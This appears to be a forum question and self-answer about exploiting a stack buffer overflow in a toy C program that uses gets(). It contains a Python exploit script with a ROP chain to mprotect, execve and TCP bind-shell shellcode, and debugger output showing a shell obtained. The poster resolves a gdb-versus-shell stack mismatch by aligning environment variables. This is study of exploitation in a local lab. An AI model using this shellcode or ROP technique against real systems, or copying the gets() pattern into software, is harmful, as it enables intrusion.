I am currently playing around with some exploitation techniques in 64-bit Intel executable. My program was compiled with canary protection disabled (-fno-stack-protector), buffer overflow error detection (D_FORTIFY_SOURCE=0) and ASLR.
My problem was that despite whether I used shellcode to execute /bin/sh (using execve) or bind /bin/sh to TCP port, my vulnerable program always exited immediately as follow, I cannot get access to the shell:
# cat payload | ./vuln
Hi there ����������j)Xj_j^�1���2�+j^�j!X��u�PH�/bin//shST_�;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB�c��� !!
Segmentation fault (core dumped)
However, when use gdb to debug, everything was going as I expected and I could establish a socket listen on port 5400 and hacked successfully (when using shellcode stub with TCP, it hanged as expected):
gef➤ r < payload
Starting program: /root/x86-exploitation/vuln < payload
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hi there ����������H1�H1�j)X��j_H�jf�D$�T^RjZj1XP^j2Xj+XH�j^�ΰ!u�H1��H�/bin//shST_j;XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB�c��� !!
And I can use nc to connect:
# netstat -tupnl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 655/systemd-resolve
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 798/sshd: /usr/sbin
tcp 0 0 127.0.0.1:34317 0.0.0.0:* LISTEN 5459/code-dc96b837c
tcp 0 0 0.0.0.0:5600 0.0.0.0:* LISTEN 5952/vuln
tcp6 0 0 :::22 :::* LISTEN 798/sshd: /usr/sbin
udp 0 0 127.0.0.53:53 0.0.0.0:* 655/systemd-resolve
# nc -v localhost 5600
nc: connect to localhost (::1) port 5600 (tcp) failed: Connection refused
Connection to localhost (127.0.0.1) 5600 port [tcp/*] succeeded!
ls
��
Ropper
payload
But for shellcode with execve, it still got exited:
gef➤ r < payload
Starting program: /root/x86-exploitation/vuln < payload
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hi there ����������H1��iH1�H��/bin/shH�SH��H1�PWH��;j_j<XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB�c��� !!
process 6121 is executing new program: /usr/bin/dash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Inferior 1 (process 6121) exited normally]
I suppose this has something to do with stdin and stdout but I still do not figure out.
Here is my script for the input and my vulnerable program:
import sys
import struct
base_libc_addr = 0x00007ffff7d8c000
pop_rdi = struct.pack('<Q', base_libc_addr + 0x000000000002a3e5)
rdi = struct.pack('<Q', 0x00007fffffffe000)
pop_rsi = struct.pack('<Q', base_libc_addr + 0x000000000002be51)
rsi = struct.pack('<Q', 0x1000)
pop_rdx = struct.pack('<Q', base_libc_addr + 0x0000000000170337)
rdx = struct.pack('<Q', 0x7)
mprotect = struct.pack('<Q', base_libc_addr + 0x000000000011eaa0)
padding = b'C'*6
final = struct.pack('<Q', 0x00007fffffffe260)
# 0x00007fffffffdee0
# 0x00007fffffffdef0
nops = b'\x90'* 10
# shellcode for /bin/sh binding to TCP
# shellcode=b"\x48\x31\xc0\x48\x31\xf6\x99\x6a\x29\x58\xff"
# shellcode+= b"\xc6\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66"
# shellcode+=b"\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x10"
# shellcode+=b"\x5a\x6a\x31\x58\x0f\x05\x50\x5e\x6a\x32\x58"
# shellcode+=b"\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03"
# shellcode+= b"\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x48\x31"
# shellcode+=b"\xc0\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73"
# shellcode+=b"\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05"
# shellcode for execve() /bin/sh
shellcode = b'\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05'
buf = nops + shellcode
buf += b'A'*(208 - len(nops) - len(shellcode))
buf += b'B'*8
sys.stdout.buffer.write(buf + pop_rdi + rdi + pop_rsi + rsi + pop_rdx + rdx + mprotect + padding + final)
Here is my vulnerable program:
#include <stdio.h>
void greet_me(){
char name[200];
gets(name);
printf("Hi there %s !!\n", name);
}
int main(int argc, char *argv[]){
greet_me();
return 0;
}
Ok I found out how to solve the problem myself. This is because gdb set some additional environment variables, which caused the difference in stack address between executing in gdb and outside gdb. One way to solve this is to run my program with the same environment variables in both case.
env -i PWD="/root/x86-exploitation" SHELL="/bin/bash" SHLVL=0 /root/x86-exploitation/vuln < payload
env -i PWD="/root/x86-exploitation" SHELL="/bin/bash" SHLVL=0 gdb /root/x86-exploitation/vuln
You also need to unset some environment variables set by GDB while running it, in my case, they are COLUMNS and LINES:
unset env COLUMNS
unset env LINES